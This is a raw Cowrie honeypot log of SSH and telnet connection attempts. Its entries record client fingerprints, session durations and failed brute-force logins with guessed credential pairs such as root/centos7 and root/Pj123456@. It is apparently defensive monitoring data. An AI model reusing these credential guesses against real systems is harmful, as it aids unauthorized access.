{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:23.936001Z","src_ip":"175.118.127.138","session":"3775a9e97465","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"centos7","message":"login attempt [root/centos7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:24.398860Z","src_ip":"223.197.186.7","session":"9f6d744cc0e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jasmin","message":"login attempt [root/jasmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:24.681715Z","src_ip":"175.118.127.138","session":"3775a9e97465","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:25.611580Z","src_ip":"223.197.186.7","session":"9f6d744cc0e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:25.861201Z","src_ip":"175.118.127.138","session":"3775a9e97465","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":55466,"dst_ip":"10.17.0.5","dst_port":22,"session":"57470997315d","protocol":"ssh","message":"New connection: 109.237.96.109:55466 (10.17.0.5:22) [session: 57470997315d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:28.461119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:28.464767Z","src_ip":"109.237.96.109","session":"57470997315d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:28.550966Z","src_ip":"109.237.96.109","session":"57470997315d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"270884","message":"login attempt [root/270884] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:28.807514Z","src_ip":"109.237.96.109","session":"57470997315d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.76412558555603,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:28.914782Z","src_ip":"183.91.11.226","session":"3d4908562757","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.18.133","src_port":59712,"dst_ip":"159.203.135.109","dst_port":22,"session":"5faa3103f0ab","protocol":"ssh","message":"New connection: 157.230.18.133:59712 (159.203.135.109:22) [session: 5faa3103f0ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:29.752892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:29.757479Z","src_ip":"157.230.18.133","session":"5faa3103f0ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:29.842307Z","src_ip":"157.230.18.133","session":"5faa3103f0ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":55950,"dst_ip":"159.203.135.109","dst_port":23,"session":"22627c8d6e46","protocol":"telnet","message":"New connection: 170.64.224.25:55950 (159.203.135.109:23) [session: 22627c8d6e46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:29.851845Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:29.893102Z","src_ip":"109.237.96.109","session":"57470997315d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tron","password":"tron123","message":"login attempt [tron/tron123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:30.217525Z","src_ip":"157.230.18.133","session":"5faa3103f0ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:31.306197Z","src_ip":"157.230.18.133","session":"5faa3103f0ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":57748,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae730b29af3c","protocol":"telnet","message":"New connection: 107.6.151.170:57748 (159.203.135.109:23) [session: ae730b29af3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:31.339997Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":50222,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6cc70cb17aa","protocol":"ssh","message":"New connection: 5.182.83.231:50222 (10.17.0.5:22) [session: a6cc70cb17aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:38.506229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:38.509582Z","src_ip":"5.182.83.231","session":"a6cc70cb17aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:38.617960Z","src_ip":"5.182.83.231","session":"a6cc70cb17aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pj123456@","message":"login attempt [root/Pj123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:39.085423Z","src_ip":"5.182.83.231","session":"a6cc70cb17aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:40.197167Z","src_ip":"5.182.83.231","session":"a6cc70cb17aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":54314,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef780006628b","protocol":"telnet","message":"New connection: 107.6.151.170:54314 (159.203.135.109:23) [session: ef780006628b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:47.666602Z"}
{"eventid":"cowrie.session.connect","src_ip":"222.108.100.117","src_port":60564,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bcf4af2bc4a","protocol":"ssh","message":"New connection: 222.108.100.117:60564 (10.17.0.5:22) [session: 2bcf4af2bc4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:53.354859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:53.358896Z","src_ip":"222.108.100.117","session":"2bcf4af2bc4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":59064,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8a429f7a019","protocol":"telnet","message":"New connection: 170.64.224.25:59064 (159.203.135.109:23) [session: e8a429f7a019]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:53.449508Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:53.563133Z","src_ip":"222.108.100.117","session":"2bcf4af2bc4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jose123","message":"login attempt [root/jose123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:54.398277Z","src_ip":"222.108.100.117","session":"2bcf4af2bc4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:55.602240Z","src_ip":"222.108.100.117","session":"2bcf4af2bc4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54990,"dst_ip":"159.203.135.109","dst_port":23,"session":"258fa7ec5e59","protocol":"telnet","message":"New connection: 170.64.224.25:54990 (159.203.135.109:23) [session: 258fa7ec5e59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:20:01.252839Z"}
{"eventid":"cowrie.session.closed","duration":32.275094985961914,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:20:03.614990Z","src_ip":"107.6.151.170","session":"ae730b29af3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.36.147.215","src_port":59090,"dst_ip":"10.17.0.5","dst_port":22,"session":"38454b5bafac","protocol":"ssh","message":"New connection: 194.36.147.215:59090 (10.17.0.5:22) [session: 38454b5bafac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:20:06.033410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:20:06.038163Z","src_ip":"194.36.147.215","session":"38454b5bafac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:20:06.129623Z","src_ip":"194.36.147.215","session":"38454b5bafac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"guarda789","message":"login attempt [root/guarda789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:20:06.410126Z","src_ip":"194.36.147.215","session":"38454b5bafac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:20:07.512810Z","src_ip":"194.36.147.215","session":"38454b5bafac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":60610,"dst_ip":"10.17.0.5","dst_port":22,"session":"de10da5a596e","protocol":"ssh","message":"New connection: 91.92.40.4:60610 (10.17.0.5:22) [session: de10da5a596e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:20:09.082315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:20:09.086758Z","src_ip":"91.92.40.4","session":"de10da5a596e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:20:09.175839Z","src_ip":"91.92.40.4","session":"de10da5a596e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yuanwd","password":"yuanwd","message":"login attempt [yuanwd/yuanwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:20:09.480961Z","src_ip":"91.92.40.4","session":"de10da5a596e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.92195105552673,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:20:09.773720Z","src_ip":"170.64.224.25","session":"22627c8d6e46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:20:10.728119Z","src_ip":"91.92.40.4","session":"de10da5a596e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":87.57215619087219,"message":"Connection lost after 87 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:20:12.693192Z","src_ip":"170.64.224.25","session":"eb7c35c88e38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.668482303619385,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:20:16.921172Z","src_ip":"170.64.224.25","session":"258fa7ec5e59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.27008557319641,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:20:19.936572Z","src_ip":"107.6.151.170","session":"ef780006628b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":43708,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e96b89a8d0e","protocol":"telnet","message":"New connection: 170.64.224.25:43708 (159.203.135.109:23) [session: 8e96b89a8d0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:20:29.347050Z"}
{"eventid":"cowrie.session.closed","duration":120.00631070137024,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:20:37.448982Z","src_ip":"143.198.154.150","session":"be8c670ae3d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.18.133","src_port":46746,"dst_ip":"159.203.135.109","dst_port":22,"session":"035b4b7f472c","protocol":"ssh","message":"New connection: 157.230.18.133:46746 (159.203.135.109:22) [session: 035b4b7f472c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:20:53.582493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:20:53.585958Z","src_ip":"157.230.18.133","session":"035b4b7f472c","protocol":"ssh"}
